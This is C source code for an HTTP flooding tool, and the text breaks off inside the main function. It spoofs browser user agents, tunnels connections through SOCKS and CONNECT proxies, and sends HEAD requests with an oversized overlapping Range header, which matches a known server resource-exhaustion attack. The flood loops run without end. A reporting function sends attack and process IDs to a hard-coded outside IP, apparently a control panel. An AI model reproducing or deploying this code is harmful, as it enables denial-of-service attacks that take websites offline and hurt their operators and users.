#include #include #include #include #include #include #include #include #include #include #include #include #include #include #define RND_CHAR (char)((rand() % 26)+97) char *useragents[] = { "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0) Gecko/20100101 Firefox/13.0.1", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2", "Mozilla/5.0 (Windows NT 5.1; rv:13.0) Gecko/20100101 Firefox/13.0.1", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11", "Mozilla/5.0 (Windows NT 6.1; rv:13.0) Gecko/20100101 Firefox/13.0.1", "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5", "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:13.0) Gecko/20100101 Firefox/13.0.1", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5", "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11", "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5", "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11", "Mozilla/5.0 (Linux; U; Android 2.2; fr-fr; Desire_A8181 Build/FRF91) App3leWebKit/53.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:13.0) Gecko/20100101 Firefox/13.0.1", "Mozilla/5.0 (iPhone; CPU iPhone OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3", "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.0) Opera 7.02 Bork-edition [en]", "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:12.0) Gecko/20100101 Firefox/12.0", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2", "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6", "Mozilla/5.0 (iPad; CPU OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11", "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11", "Mozilla/5.0 (Windows NT 5.1; rv:5.0.1) Gecko/20100101 Firefox/5.0.1", "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)", "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.02", "Opera/9.80 (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60", "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:5.0) Gecko/20100101 Firefox/5.0", "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)", "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322)", "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 3.5.30729)", "Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1", "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:13.0) Gecko/20100101 Firefox/13.0.1", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1", "Mozilla/5.0 (Windows NT 6.1; rv:2.0b7pre) Gecko/20100921 Firefox/4.0b7pre", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5", "Mozilla/5.0 (Windows NT 5.1; rv:12.0) Gecko/20100101 Firefox/12.0", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)", "Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20100101 Firefox/12.0", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MRA 5.8 (build 4157); .NET CLR 2.0.50727; AskTbPTV/5.11.3.15590)", "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:13.0) Gecko/20100101 Firefox/13.0.1", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.5 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.4", "Mozilla/5.0 (Windows NT 6.0; rv:13.0) Gecko/20100101 Firefox/13.0.1", "Mozilla/5.0 (Windows NT 6.0; rv:13.0) Gecko/20100101 Firefox/13.0.1", }; #define ATTACKPORT 80 //char *postformat = "%s /%s HTTP/1.1\r\nHost: %s\r\nUser-Agent: #useragent#\r\nConnection: close\r\nAccept-Encoding: gzip, deflate\r\n%s\r\n%s"; char *postformat = "HEAD / HTTP/1.0\r\nHost: %s\r\nUser-Agent: %s\r\nRange:bytes=%s\r\nAccept-Encoding: gzip, deflate, compress\r\nConnection: close\r\n\r\n"; char *postpayload; struct urlparts { char * name; char separator[4]; char value[128]; } parts[] = { { "scheme", ":" }, { "userid", "@" }, { "password", ":" }, { "host", "//" }, { "port", ":" }, { "path", "/" }, { "param", ";" }, /*{ "query", "?" },*/ { "fragment", "#" } }; enum partnames { scheme = 0, userid, password, host, port, path, param, query, fragment } ; #define NUMPARTS (sizeof parts / sizeof (struct urlparts)) struct urlparts *returnparts[8]; struct urllist { char *url; int done; struct urllist *next; struct urllist *prev; }; struct proxy { char *type; char *ip; int port; int working; }; struct list { struct proxy *data; char *useragent; struct list *next; struct list *prev; }; struct list *head = NULL; char parseError[128]; int parseURL(char *url, struct urlparts **returnpart); char * strsplit(char * s, char * tok); char firstpunc(char *s); int strleft(char * s, int n); void setupparts(); void freeparts(); char *stristr(const char *String, const char *Pattern); char *str_replace(char *orig, char *rep, char *with); char *geturl(char *url, char *useragent, char *ip); char *ipstr; unsigned int fnGetIP(char *szHost); static int rps = 0; char *fznGenerateRange() { char szBytes[12000] = "0-"; char szAdd[12]; for (int i = 0; i <= 1299; i++) { sprintf(szAdd, ",5-%d", i); strcat(szBytes, szAdd); bzero(szAdd, 12); } return szBytes; } void *flood(void *par) { struct list *startpoint = (struct list *)par; int i; struct sockaddr_in serverAddr; signal(SIGPIPE, SIG_IGN); while(1) { int sent = 0; if(startpoint->data->working == 0) { startpoint = startpoint->next; usleep(10000); continue; } memset(&serverAddr, 0, sizeof(serverAddr)); serverAddr.sin_family = AF_INET; serverAddr.sin_port = htons(startpoint->data->port); serverAddr.sin_addr.s_addr = inet_addr(startpoint->data->ip); int serverSocket = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP); u_int yes=1; if (setsockopt(serverSocket,SOL_SOCKET,SO_REUSEADDR,&yes,sizeof(yes)) < 0) {} if(connect(serverSocket, (struct sockaddr *)&serverAddr, sizeof(serverAddr)) > 0) { startpoint->data->working = 0; startpoint = startpoint->next; continue; } if(strcmp(startpoint->data->type, "Socks4")==0) { unsigned char buf[10]; buf[0] = 0x04; buf[1] = 0x01; *(unsigned short*)&buf[2] = htons(ATTACKPORT); *(unsigned long*)&buf[4] = inet_addr(ipstr); buf[8] = 0x00; if(send(serverSocket, buf, 9, MSG_NOSIGNAL) != 9) { startpoint->data->working = 0; startpoint = startpoint->next; close(serverSocket); continue; } } if(strcmp(startpoint->data->type, "Socks5")==0) { unsigned char buf[20]; buf[0] = 0x05; buf[1] = 0x01; buf[2] = 0x00; if((sent = send(serverSocket, buf, 3, MSG_NOSIGNAL)) < 0) { startpoint->data->working = 0; startpoint = startpoint->next; close(serverSocket); continue; } buf[0] = 0x05; buf[1] = 0x01; buf[2] = 0x00; buf[3] = 0x01; *(unsigned long*)&buf[4] = inet_addr(ipstr); *(unsigned short*)&buf[8] = htons(ATTACKPORT); if((sent = send(serverSocket, buf, 10, MSG_NOSIGNAL)) < 0) { startpoint->data->working = 0; startpoint = startpoint->next; close(serverSocket); continue; } } if(strcmp(startpoint->data->type, "CONNECT") == 0 || strcmp(startpoint->data->type, "TUNNEL") == 0) { char *connectrequest = malloc(1024); bzero(connectrequest, 1024); sprintf(connectrequest, "CONNECT %s:25565 HTTP/1.0\r\n\r\n", ipstr); if((sent = send(serverSocket, connectrequest, strlen(connectrequest), MSG_NOSIGNAL)) < 0) { startpoint->data->working = 0; startpoint = startpoint->next; close(serverSocket); continue; } char *recvbuf = malloc(1024); bzero(recvbuf, 1024); int gotbytes = recv(serverSocket, recvbuf, 1024, 0); if(gotbytes < 1) { startpoint->data->working = 0; startpoint = startpoint->next; close(serverSocket); continue; } free(recvbuf); } //char *httppayload = str_replace(postpayload, "#useragent#", startpoint->useragent); //if(httppayload == NULL) //{ // startpoint = startpoint->next; // close(serverSocket); // continue; //} //char *tmp = NULL; //while((tmp = strstr(httppayload, "%RANDOM%"))!=NULL) /*{ *(tmp) = RND_CHAR; *(tmp+1) = RND_CHAR; *(tmp+2) = RND_CHAR; *(tmp+3) = RND_CHAR; *(tmp+4) = RND_CHAR; *(tmp+5) = RND_CHAR; *(tmp+6) = RND_CHAR; *(tmp+7) = RND_CHAR; } */ send(serverSocket, postpayload, strlen(postpayload), MSG_NOSIGNAL); //free(httppayload); close(serverSocket); rps++; usleep(50000); //startpoint = startpoint->next; } } int fnAttackInformation(int attackID) { char szRecvBuff[1024]; char packet[1024]; char ip[] = "37.221.170.5"; snprintf(packet, sizeof(packet) - 1, "GET /~dqyefldi/response.php?auth=tru&id=%d&pro=%d HTTP/1.1\r\nHost: %s\r\nConnection: close\r\nCache-Control: no-cache\r\nOrigin: http://google.com\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5\r\nContent-Type: application/x-www-form-urlencoded\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Language: en-GB,en-US;q=0.8,en;q=0.6\r\nAccept-charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n\r\n", attackID, getpid(), ip); struct sockaddr_in *remote; int sock; int tmpres; if((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) { perror("Can't create TCP socket"); exit(1); } remote = (struct sockaddr_in *)malloc(sizeof(struct sockaddr_in *)); remote->sin_family = AF_INET; tmpres = inet_pton(AF_INET, ip, (void *)(&(remote->sin_addr.s_addr))); if (tmpres < 0) { perror("Can't set remote->sin_addr.s_addr"); exit(1); } else if (tmpres == 0) { fprintf(stderr, "%s is not a valid IP address\n", ip); exit(1); } remote->sin_port = htons(80); if (connect(sock, (struct sockaddr *)remote, sizeof(struct sockaddr)) < 0) { perror("Could not connect"); exit(1); } tmpres = send(sock, packet, strlen(packet), 0); //printf("Sent %d bytes -> \n%s\n\n\n", tmpres, packet); if (tmpres == -1){ perror("Can't send query"); exit(1); } int i = 1; int dwTotal = 0; while (1) { i = recv(sock, szRecvBuff + dwTotal, sizeof(szRecvBuff) - dwTotal, 0); //printf("Received %d bytes\n", i); if (i <= 0) break; dwTotal += i; } szRecvBuff[dwTotal] = '\0'; //printf("Received -> \n%s\n\n", szRecvBuff); close(sock); //printf("Sent %d bytes\n", tmpres); return 0; } int main(int argc, char *argv[ ]) { if(argc < 6){ fprintf(stderr, "Invalid parameters!\n"); fprintf(stdout, "Usage: %s